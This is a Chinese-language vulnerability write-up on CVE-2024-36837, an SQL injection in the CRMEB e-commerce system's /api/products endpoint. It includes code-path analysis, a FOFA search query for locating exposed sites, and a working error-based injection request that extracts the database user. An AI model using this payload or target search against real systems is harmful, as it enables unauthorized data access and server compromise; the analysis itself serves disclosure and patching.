CVE-2024-36837 CRMEB开源电商系统 /api/products SQL注入漏洞分析

xhys121zero2024-12-20文章来源:SecHub网络安全社区


CVE-2024-36837 CRMEB开源电商系统 /api/products SQL注入漏洞分析

产品介绍

CRMEB开源电商系统是一款由西安众邦网络科技有限公司打造的全栈式电商解决方案,旨在为开发者和商家提供高性能、智能化的电商平台服务。该系统集成了CRM(客户关系管理)、ERP(企业资源规划)和EB(电子商务)的功能,通过深度结合这些功能,帮助用户快速构建稳定且功能丰富的在线商城

漏洞简述

该漏洞可以通过请求api的路径接口来进行SQL注入,进而可能导致敏感信息泄露,该注入可暴露后台web绝对路径,深入利用可获取服务器权限,该漏洞无前置条件且利用简单,建议受影响的用户尽快修复漏洞。

影响版本

5.2.2 以下版本

漏洞分析

提要:该代码是一个框架的代码分析起来有些许麻烦

首先进入到api/controller/pc/ProductController.php

image-20240915180040101

在这里有一个getProductlist方法用于获取商品列表

image-20240915180145562

分析:该方法说先是获取到请求中的参数(如sid、cid、selectId等)若请求中没有就设置为默认值,接着就是判断selectID以及sidcid是否存在,若存在就调用 $services 对象的 value 方法,然后根据返回结果将selectId的赋值给sidcid,然后就是对ids参数的设置操作,最后调用getProductList方法将执行的结果通过json的方式返回

接着来到getProductList方法中

image-20240915182113421

分析:对where数组下的is_showis_delvip_usercount进行了相关设置,接着调用了getPageValue方法来获取分页的当前页码和每页显示的记录数,然后调用了getSearchList方法这似乎是进行了数据库的查询操作将值赋值给list,遍历list根据遍历的结果对item数组的star进行赋值,接着调用getActivityList来获取与产品相关的活动列表。然后对data的list键赋值,返回data。

接着我们来到getSearchList方法中

image-20240915182901742

这段代码密密麻麻的一大片看起来很麻烦,我们抽取其中的一部分进行分析

image-20240915183112918

我们分析这一小段:

$this->search($where, false):调用当前对象的 search 方法,传入查询条件 $where 和一个布尔值 false。我们进入到该方法中

image-20240915183719334

分析:先是判断了where是否存在,若存在就调用withSearchSelect,反之调用getModel,那肯定where是存在的呀

接着来到withSearchSelect方法中

image-20240915183928077

分析:该方法首先是调用getSearchData方法将返回结果赋值给$with(用于 withSearch 方法的搜索条件)以及$otherWhere(其他需要应用的查询条件),接着就是调用 getModel方法获取当前模型的数据库查询构建器实例;然后调用withSearch方法允许你根据提供的字段和数据来构建搜索查询,接着就是当 $searchtrue,则会进一步应用 $otherWhere 条件,但是前面已经将其之设置为false进无法进入闭包的作用域中

image-20240915183112918

search 方法就分析完了,接着有调用了with方法用于指定查询中需要包含的关联关系。然后就是通过when方法判断是否pagelimit不为0,若结果为true,那么就进入到闭包作用域中调用 $query->page($page, $limit); 来设置分页参数

when(isset($where['sid']) && $where['sid'], function ($query) use ($where) { $query->whereIn('id', function ($query) use ($where) { $query->name('store_product_cate')->where('cate_id', $where['sid'])->field('product_id')->select(); });

接着再次调用 when 方法,这次检查 $where 数组中是否存在 'sid' 键,并且该键的值不为空。如果条件为真,则执行闭包函数。在闭包函数中,使用 use 语句将 $where 变量引入闭包的作用域。在闭包函数内部,调用 $querywhereIn 方法来构建一个 IN 子句,用于筛选 id 字段完成这些之后,进入到子查询中,使用 name 方法指定查询的表名。然后,使用 where 方法添加条件,筛选 cate_id 字段。接着,使用 field 方法指定需要选择的字段 product_id。最后,调用 select 方法来执行子查询并获取结果。

这就完成了一个字段内容的获取整个getSearchList方法都是类似于上述描述的过程来完成sql语句的执行操作,尽管十分复杂分析起来,但是我们发现这个sql语句的执行过程中并没有进行任何过滤限制,进而造成了sql注入的形成

资产测绘

fofa

body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"

image-20240915190251287

漏洞复现

poc

GET /api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,user()))),0x7e),3550) HTTP/1.1
Host: 
Accept: application/json, text/plain, */*
Authori-zation: Bearer null
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

image-20240915170017697

修复建议

更新至最新版本即可